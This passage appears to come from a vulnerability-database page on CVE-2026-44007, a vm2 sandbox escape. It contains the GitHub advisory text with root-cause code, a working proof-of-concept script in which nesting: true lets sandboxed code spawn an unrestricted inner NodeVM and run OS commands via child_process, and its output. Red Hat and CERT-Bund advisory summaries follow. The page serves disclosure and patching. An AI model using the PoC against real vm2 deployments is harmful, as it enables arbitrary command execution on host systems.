makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\n  }\n  // ...\n}\n```\n\n**`lib/builtin.js:102-106`** \u2014 `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n  const keys = Object.getOwnPropertyNames(overrides);\n  for (const key of keys) {\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\n  }\n}\n```\n\nThe result: `require(\u0027vm2\u0027)` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses \u2014 unconstrained by the outer VM \u2014 and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n  // Step 1: require(\u0027vm2\u0027) succeeds despite require:false on the outer VM\n  const { NodeVM: NVM } = require(\u0027vm2\u0027);\n\n  // Step 2: create an inner NodeVM with attacker-chosen require config\n  // This inner VM has no relation to the outer VM\u0027s restrictions\n  const inner = new NVM({ require: { builtin: [\u0027child_process\u0027] } });\n\n  // Step 3: execute arbitrary OS command in the inner VM\n  module.exports = inner.run(\n    \u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027\n  );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works \u2014 the outer VM\u0027s require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n  const { NodeVM: NVM } = require(\u0027vm2\u0027);\n  module.exports = new NVM({ require: { builtin: [\u0027child_process\u0027] } })\n    .run(\u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027);\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: [\u0027path\u0027] }` still allows `require(\u0027vm2\u0027)` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not \u2014 `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.",
  "id": "GHSA-8hg8-63c5-gwmx",
  "modified": "2026-05-14T20:37:04Z",
  "published": "2026-05-07T05:13:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44007"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/05/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution"
}

RHSA-2026:50850

Vulnerability from csaf_redhat - Published: 2026-08-05 16:35 - Updated: 2026-10-13 15:11

Summary

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

Severity

Important

Scope

25 vulnerabilities in this advisory, including CVE-2026-44007.

CVE-2026-44007

A flaw was found in vm2 (before 3.11.1). With nesting: true, sandbox code can require('vm2') regardless of outer require settings (including require: false), spawn an inner NodeVM with unrestricted require, and execute arbitrary OS commands on the host. Fixed in 3.11.1.

9.9 (Critical)


                
                  CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Fixed: 1 product

https://access.redhat.com/errata/RHSA-2026:50850

Open the full advisory

WID-SEC-W-2026-1349

Vulnerability from csaf_certbund - Published: 2026-05-03 22:00 - Updated: 2026-08-05 22:00

Summary

vm2: Mehrere Schwachstellen

Severity

Kritisch

Scope

15 vulnerabilities in this advisory, including CVE-2026-44007.

CVE-2026-44007

Known affected: 4 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-44007 (GCVE-0-2026-44007)

BDU:2026-06915 (CVE-2026-44007)

FKIE_CVE-2026-44007

GHSA-8HG8-63C5-GWMX

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Details

PoC

Impact

RHSA-2026:50850

WID-SEC-W-2026-1349

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